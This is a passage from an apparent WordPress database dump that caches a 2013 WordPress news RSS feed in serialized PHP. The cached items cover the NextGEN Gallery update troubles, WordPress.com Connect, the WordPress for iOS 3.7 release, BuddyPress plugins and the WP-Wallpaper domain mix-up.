plugin has caused grief for many people as evidenced by the <a href=\"http://wordpress.org/support/plugin/nextgen-gallery\" title=\"http://wordpress.org/support/plugin/nextgen-gallery\">plugin&#8217;s support forum</a>. This has caused Erick Danzer one of the core developers for the plugin to <a href=\"http://www.nextgen-gallery.com/open-letter-to-the-nextgen-community-from-erick-danzer/\" title=\"http://www.nextgen-gallery.com/open-letter-to-the-nextgen-community-from-erick-danzer/\">publish an open letter to the NextGEN Gallery Community</a> admitting that the latest version has serious issues and they are working day and night to try to resolve them. </p>\n<blockquote><p>I want to start by simply recognizing that, yes, there are many and very serious issues with this update. No doubt about it. We’ve been caught very off guard. Those of you experiencing these problems are entirely justified to feel angry and ask hard questions.</p>\n<p>For us, it’s not a question of not caring. It’s a question of what’s the best way to respond under immense pressure from many directions.</p>\n<p>We are working ourselves to our physical and emotional breaking points trying to respond to users and solve issues as fast as we can because we do care. I’m honestly not kidding about this.</p></blockquote>\n<p>I love how Erick and team have grabbed the bull by the horns and are using their blog to control and manage the conversation around their plugin. This open letter reminds me of a post I wrote in 2008 on WeblogToolsCollection.com where I told people to <a href=\"http://weblogtoolscollection.com/archives/2008/08/24/stop-blaming-the-wordpress-team/\" title=\"http://weblogtoolscollection.com/archives/2008/08/24/stop-blaming-the-wordpress-team/\">stop blaming the WordPress Team.</a> It&#8217;s a bit different with NextGEN but the message is the same. As outlined in the letter, the team did everything they could to make sure this was a good release but no matter how well they tested, the results would have never come close to the actual environments used by thousands of plugin users. </p>\n<p>What that open letter really means is that Erick Danzer and the rest of the NextGEN Gallery team are committed to the project and are doing everything they can to turn wrongs into rights. I commend him for publishing the letter and addressing all of the noted concerns in one post. Anytime a company or author of a major plugin or theme uses communication in this way, they should be commended as most of the time, communication is the last thing on their minds. Although it doesn&#8217;t fix the problem, just knowing that the developer feels your pain and acknowledges the problem is enough to calm me down and do anything I can to help the developer fix it as soon as possible.</p>\n<p>Erick Danzer is not the plugins creator. It&#8217;s listed as <a href=\"http://profiles.wordpress.org/photocrati/\" title=\"http://profiles.wordpress.org/photocrati/\">Photocrati</a> on WordPress.org. Photocrati is a growing digital media company helping photographers improve their web presence while leveraging our premium themes, hosting, and plugins for WordPress.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/8prZ5wa1bCw\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 Aug 2013 20:58:13 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:44;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Matt: WordPress.com Connect\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=42952\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2013/08/wordpress-com-connect/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:780:\"<p>I&#8217;m really excited about the <a href=\"http://en.blog.wordpress.com/2013/08/13/introducing-wordpress-com-connect/\">launch of WordPress.com Connect</a>. Yes Facebook et al offer similar APIs and have more users, but there are two key differences. First is Automattic is not an advertising-driven company, so our priorities around users are different than ones who are. Second is that these APIs are the basis for <em>interacting with any element of an entire website hosted on WP.com or not</em>, meaning themes, widgets, posts, content, CSS&#8230; any company that does something that ultimately ends up on a website should be <a href=\"http://developer.wordpress.com/\">looking at the APIs on developer.wordpress.com</a> and pushing us where there isn&#8217;t one yet.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 Aug 2013 20:50:32 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:45;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:66:\"WordPress.tv: Bob Dunn: The Beginner’s Guide to Choosing a Theme\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21231\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wordpress.tv/2013/08/14/bob-dunn-the-beginners-guide-to-choosing-a-theme/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:685:\"<div id=\"v-pmL3izI9-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21231/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21231/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21231&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/14/bob-dunn-the-beginners-guide-to-choosing-a-theme/\"><img alt=\"Bob Dunn: The Beginner’s Guide to Choosing a Theme\" src=\"http://videos.videopress.com/pmL3izI9/video-b584af2135_scruberthumbnail_0.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 Aug 2013 20:41:57 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:46;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"Alex King: From Freelance to Agency – WordCamp SF 2013\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://alexking.org/?p=18001\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://alexking.org/blog/2013/08/14/from-freelance-to-agency-wordcamp-sf-2013\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:305:\"<p>The video from my panel at WordCamp SF is now online. Thanks to <a href=\"http://ma.tt\">Matt</a>, <a href=\"http://tri.be/author/shane/\">Shane</a>, <a href=\"http://10up.com/about/#employee-jake-goldman\">Jake</a> and <a href=\"http://webdevstudios.com/team/brad-williams/\">Brad</a> for a great session.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 Aug 2013 16:31:15 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Alex\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:47;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"WP iPhone: Version 3.7 is Here: New Native WordPress.com Reader &amp; More Available Today\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"http://ios.wordpress.org/?p=1447\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"http://ios.wordpress.org/2013/08/14/version-3-7-native-reader/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3491:\"<p><a href=\"http://wpiphone.files.wordpress.com/2013/08/wpios-3-7-reader.jpg\"><img class=\"alignright size-medium wp-image-1461\" alt=\"wpios-3-7-reader\" src=\"http://wpiphone.files.wordpress.com/2013/08/wpios-3-7-reader.jpg?w=240&h=442\" width=\"240\" height=\"442\" /></a><br />\nWordPress for iOS 3.7 is out and now available for download from the <a href=\"https://itunes.apple.com/us/app/wordpress/id335703880?ls=1&mt=8\">App Store</a>. This release introduces a revamped Reader, some under-the-hood improvements for account management, and lays the groundwork for some neat things to come.</p>\n<h3>Native Reader</h3>\n<p>We first introduced the Reader in version 2.9 back in September of 2011. The original Reader was a hybrid approach &#8212; some native code wrapping what was essentially a webpage and lots of JavaScript. It served us well, but there were places where embracing a fully native experience offers better performance.  Version 3.7 introduces a new Reader built with 100% native code. It&#8217;s very fast and beautiful to look at. What&#8217;s more, we&#8217;re already working to make it even better!</p>\n<p>Access the Reader from the sidebar while signed in with your WordPress.com account.  Read stories from blogs you follow, posts you liked, as well as your favorite topics. Join the conversion by liking, reblogging, and commenting from within the Reader, and follow blogs you enjoy reading.</p>\n<h3>Accounts Management</h3>\n<p>We&#8217;ve streamlined how the app manages your credentials and handles authentication with a new accounts system. The improvements are all under-the-hood, so visually, there&#8217;s nothing to see there.  You will notice the app doing a better job connecting to multiple services including your blog, Jetpack, the Reader, and notification features.</p>\n<h3>Other Improvements</h3>\n<p>More goodness in 3.7:</p>\n<ul>\n<li>Several bug and crash fixes.</li>\n<li>View Admin now opens in Safari instead of inside the app for a better experience.</li>\n<li>Thai is now a supported language.</li>\n</ul>\n<h3>What&#8217;s next?</h3>\n<p>Apple has announced iOS 7 and we&#8217;re keen to be ready for the launch of the new OS later this year. We&#8217;re already working on improvements to the new native Reader. We&#8217;ve also planned improvements to media and a new themes management feature. Follow our progress at <a href=\"http://make.wordpress.org/mobile\" rel=\"nofollow\">http://make.wordpress.org/mobile</a>.</p>\n<p>A huge thanks to the nine contributors who worked on this release: @aarondouglas, @aerych, @daniloercoli @hugobaeta, @irbrad, @isaackeyet, @koke, @sendhil, and <a href=\"https://github.com/danielrsmith\">Daniel Smith</a>. If you would like to get involved with WordPress for iOS development, drop us a line at <a href=\"http://make.wordpress.org/mobile\">http://make.wordpress.org/mobile</a> and grab a copy of the code at <a href=\"https://github.com/wordpress-mobile/WordPress-iOS\">https://github.com/wordpress-mobile/WordPress-iOS</a>.</p>\n<p>Have feedback?  Leave a comment below or tweet us at <a href=\"http://twitter.com/wordpressios\">@WordPressiOS</a>.</p>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wpiphone.wordpress.com/1447/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wpiphone.wordpress.com/1447/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=ios.wordpress.org&blog=3882653&post=1447&subd=wpiphone&ref=&feed=1\" width=\"1\" height=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 Aug 2013 14:29:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Eric\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:48;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"WordPress.tv: Panel Discussion: Building a Community with WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21222\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"http://wordpress.tv/2013/08/14/panel-discussion-building-a-community-with-wordpress/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:690:\"<div id=\"v-CtxZ3Zo5-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21222/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21222/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21222&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/14/panel-discussion-building-a-community-with-wordpress/\"><img alt=\"Panel Discussion: Building a Community with WordPress\" src=\"http://videos.videopress.com/CtxZ3Zo5/video-17f1bf9231_scruberthumbnail_0.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 Aug 2013 13:13:37 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:49;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: The Daily Plugin – BuddyPress Plugins To Encourage Engagement\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8382\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:121:\"http://feedproxy.google.com/~r/WordpressTavern/~3/5h_2b6QWmlE/the-daily-plugin-buddypress-plugins-to-encourage-engagement\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4571:\"<p>Today we&#8217;ve got an interesting mix of new BuddyPress plugins from the WordPress Plugin Repository. I&#8217;ve been working on both an intranet version of a BP installation, in addition to the new creation of a multisite BP explosion that is quickly becoming a monster all on its own. Share in the results of my hunt! Here are some cool new BuddyPress plugins that you may be able to use in your own installation. Remember that these are fairly new plugins and should be tested on a staging site before going live. Make plenty of backups, especially with the new 3.6 upgrades. <span id=\"more-8382\"></span></p>\n<p><a title=\"MyCRED\" href=\"http://wordpress.org/plugins/mycred/\" target=\"_blank\">My Cred</a> is an adaptive points management system that lets you award / charge your users for interacting with your WordPress powered website. It reminds me a lot of <a title=\"CubePoints WordPress Plugin\" href=\"http://wordpress.org/plugins/cubepoints/\" target=\"_blank\">CubePoints</a> which has some of the same functionality, but MyCred goes a step further. For me, this was the perfect add-on to encourage people to participate in a community I am building. From unlocking hidden Easter egg content to presenting badges and trophies, MyCred delivers a very nicely integrated solution for participation incentives. In just a few days since implementing, the activity has <strong>TRIPLED</strong> because there is now a structure in place that encourages posts, responses, photo additions and tweeting and liking the site. There are many other features that I have not had the chance to implement yet, so I can&#8217;t wait to see the climb rate from here. Incidentally, this also lets users <strong>PAY</strong> their way into the incentive rewards as well, so this could be a great conduit for giving people the option to get reward items (maybe an ebook) either by site participation or simply by paying for it.</p>\n<p><a title=\"BBPress Users Stats WordPress Plugin\" href=\"http://wordpress.org/plugins/bbpress-users-stats/\" target=\"_blank\">BBPress User Stats</a> helps to monitor who is most active on your bbPress forums within BuddyPress. It&#8217;s always important to monitor your levels of engagement. It&#8217;s easy and simple to use. Quite simply it&#8217;s a basic participation panel that shows the number of posts and replies from your user base.</p>\n<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordReplacer.png\" rel=\"thumbnail\"><img class=\"alignleft size-thumbnail wp-image-8434\" alt=\"Word Replacer\" src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordReplacer.png?resize=150%2C150\" /></a><a title=\"Word Replacer Plugin\" href=\"http://wordpress.org/plugins/word-replacer/\" target=\"_blank\">Word Replacer</a> can help to curb unwanted language within your BuddyPress streams, comments or bbPress posts and replies. It simply allows you to set up which unmentionable language you&#8217;d like to filter and will replace that word or obscenity with a word of your choosing. It can work in the other direction as well, where you can do your &#8220;<strong>unnecessary censorship</strong>&#8221; and make non-vulger descriptive words into swear words instead. Beyond acting as a swear filter, this can also replace brand names, products, etc. It can take a specific word and place predetermined links or HTML in its place. It&#8217;s only limited as to how you setup the word filter pool. Additional options allow you to select what types of entries that the plugin will be activated on, i.e. Posts, Pages, bbPress entries, etc. You can also control case sensitivity or use it to pick whole or partial words.</p>\n<p><a title=\"BP Search Friends\" href=\"http://wordpress.org/plugins/bp-searchfriends/\" target=\"_blank\">BP Search Friends</a> allows an AJAX based search to find other users within the system. It takes into account a few different fields to populate the search data, such as Friend&#8217;s Display Name, Friend&#8217;s Email or the Friend&#8217;s Username. I always had my BuddyPress and bbPress options so that I would be able to private message, but it never gave me a search option to do so. Now with this plugin I have that option.</p>\n<p>Hope you get some use out of these BuddyPress and bbPress related plugins. It&#8217;s often difficult to find a group that works well together, so I&#8217;m happy to provide this quick plugin &#8220;kit&#8221; to use or try on your next BuddyPress installation.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/5h_2b6QWmlE\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 Aug 2013 12:10:44 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Marcus Couch\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}}}}}}}}}}s:4:\"type\";i:128;s:7:\"headers\";a:9:{s:6:\"server\";s:5:\"nginx\";s:4:\"date\";s:29:\"Tue, 27 Aug 2013 05:16:47 GMT\";s:12:\"content-type\";s:8:\"text/xml\";s:14:\"content-length\";s:6:\"158099\";s:10:\"connection\";s:5:\"close\";s:4:\"vary\";s:15:\"Accept-Encoding\";s:13:\"last-modified\";s:29:\"Tue, 27 Aug 2013 05:00:34 GMT\";s:4:\"x-nc\";s:11:\"HIT lax 250\";s:13:\"accept-ranges\";s:5:\"bytes\";}s:5:\"build\";s:14:\"20130708114016\";}','no'),(249,'_transient_timeout_feed_mod_867bd5c64f85878d03a060509cd2f92c','1377623786','no'),(250,'_transient_feed_mod_867bd5c64f85878d03a060509cd2f92c','1377580586','no'),(251,'_transient_timeout_dash_aa95765b5cc111c56d5993d476b1c2f0','1377623787','no'),(252,'_transient_dash_aa95765b5cc111c56d5993d476b1c2f0','<div class=\"rss-widget\"><ul><li><a class=\'rsswidget\' href=\'http://feedproxy.google.com/~r/WordpressTavern/~3/3luWcT9hGW8/the-full-story-behind-wp-wallpaper\' title=\'If you’ve been scouring the web for WordPress specific images to use as your desktop background, have a look at WP-Wallpaper. The site doesn’t have a huge variety of images to choose from now but over the course of the next few months, I think that will change. I reached out to Alison Barrett who manages the site to find out about its history and what plans if any she has for the site.  WordPress Lights by Alison Barrett Can you provide a brief history of the domain, considering it existed before you purchased it? I don’t know much about the previous owner of the domain. The original site was my main source of desktop wallpapers for a long time, and I had referred dozens of people to it. I was bummed when I learned the site was down. I went searching for the owner, and I didn’t realize the domain had expired until the whois search turned up empty. Do you know of any other sites that have an abundant amount of WordPress desktop wallpapers? I don’t know much about the previous owner of the domain. The original site was my main source of desktop wallpapers for a long time, and I had referred dozens of people to it. I was bummed when I learned the site was down. I went searching for the owner, and I didn’t realize the domain had expired until the whois search turned up empty. My initial reason for buying the domain was that I felt bad for referring friends to something that wasn’t even live anymore. Now I’m enjoying running the site, and I love seeing all the excitement around it. The community’s response to it is driving me to keep making it even better. I would love to find the creators of the wallpapers from the original site, because there were a lot of gorgeous images up there. I don’t want to republish them without attribution and permission. I can’t think of any other dedicated WP wallpaper sites off the top of my head, though a Google search might turn up one or two. I didn’t come across any when I was searching for the creators of the wallpapers on the original site. Any chance of getting this site linked to from the Fan Art section of WordPress.org or having a small dedicated section showing 3-6 wallpapers? I hadn’t thought about getting this site linked under the Fan Art section on .org—that’s a great idea! I’ll see what I can do. Any chance of adding a ratings system, reviews, or any other social aspects to the images similar to DeviantArt? I do plan on implementing a ratings system eventually, though my priority right now is supporting multiple resolutions for each wallpaper (including mobile). I will probably add some sharing tools in the near future as well. How can people submit images to the site and how should the submissions be licensed?  Wallpapers can be submitted through the form on the submit page: http://wp-wallpaper.com/submit/ . Technical requirements are laid out there (and will be updated once I get mobile resolution support in place). Images must be released under the Creative Commons Attribution Share-Alike license, as that is what they are distributed under on the site. Oops: After The Launch After this interview was conducted with Alison, I did some research into the history of the domain since she didn’t know too much about it. I plugged the domain into the Wayback machine and didn’t see any results. For a site that Alison pointed to over the years for WordPress wallpapers, it stands to reason it would have some history behind it. Just for experimentation, I added an S to the end of the domain so it was http://wp-wallpapers.com/ and while that particular domain has expired, it did show up with quite a few results in the Wayback machine. The first record on the internet archive is for October 17th 2011. This entry tells us that WP-Wallpapers.com used the Expose theme from ThemeForest to show off the content of the site. That theme is still available for sale but is not 100% GPL licensed.   The next entry was a WordPress maintenance page. However, On March 31st 2012, the site had a few pages of Wallpapers available. It’s also during this time that we discover the site was owned and operated by the Envato network. The last working entry is on March 23rd, 2013 with at least 5 pages worth of wallpaper images.  Conclusions So not only has Alison pointed people to the wrong domain over the years, she also purchased the wrong domain. She missed it by one letter. I reached out to Envato to find out what their plans are for the domain: We’re always trying to streamline our processes and focus more on the projects that really matter to us, which is why we decided to discontinue WP-Wallpapers.com. But we’re really happy to see WP-Wallpaper spring up to fill the gap! There are definitely some beautiful, creative WordPress wallpapers around. Despite everything that’s happened up to this point with WP-Wallpaper.com, Alison is still excited to see the site grow.  \'>WPTavern: The Full Story Behind WP-Wallpaper</a></li><li><a class=\'rsswidget\' href=\'http://feedproxy.google.com/~r/WordpressTavern/~3/Tu_vAh6bwrA/my-experience-wordcamp-grand-rapids-2013\' title=\'Things I Learned About The City This event marks the first time I’ve visited Grand Rapids, Michigan. I can say without any doubt that Grand Rapids is a beautiful city. I got the impression while being downtown that I was in a large city but it wasn’t large enough to feel inundated like New York or San Francisco. The skyline has large buildings but you can still see the horizon in some parts of downtown. The city also has a wide river that flows through and around the city which from what I’ve read, is the origin of the city’s name. However, I saw the river as wide, shallow, and nothing rapid about it. There is talk in the local community around the idea of placing large boulders back into the river to generate rapids but I’m unsure of that progress.  The other thing I learned while in Grand Rapids was the number of local breweries in the region. I had the pleasure of eating at two of these breweries. One was called Founders, the other was Grand Rapids Brewing Company. The food was excellent in both locations and although I didn’t drink any beer since I’m not a hoppy kind of guy, the WordCamp attendees I was surrounded by couldn’t stop raving about some of the beers they tasted at each place. The third place I ate at in which I did try a beer (Brouwerij Lindeman Vlezenbeek, Belgium a raspberry flavored beer) was HopCat. A place with something called ‘Crack Fries‘. These crack fries are considered famous in the area because of the unique blend of spices applied to them. After eating them, you’ll understand why they have their name. The Event Itself The event was held at the DeVos Center on Grand Valley State University’s Pew Campus in downtown Grand Rapids. Out of all the WordCamps I’ve attended, those that are at some sort of college campus location have gone smoothly. This one was no exception. Although I didn’t attend very many sessions, I did manage to catch up with quite a few people to talk shop and other interesting things going on in the world of WordPress. At this particular WordCamp, I moderated a panel discussion on the topic of Commercial Themes and Plugins with Pippin Williamson, Adam Pickering, Daniel 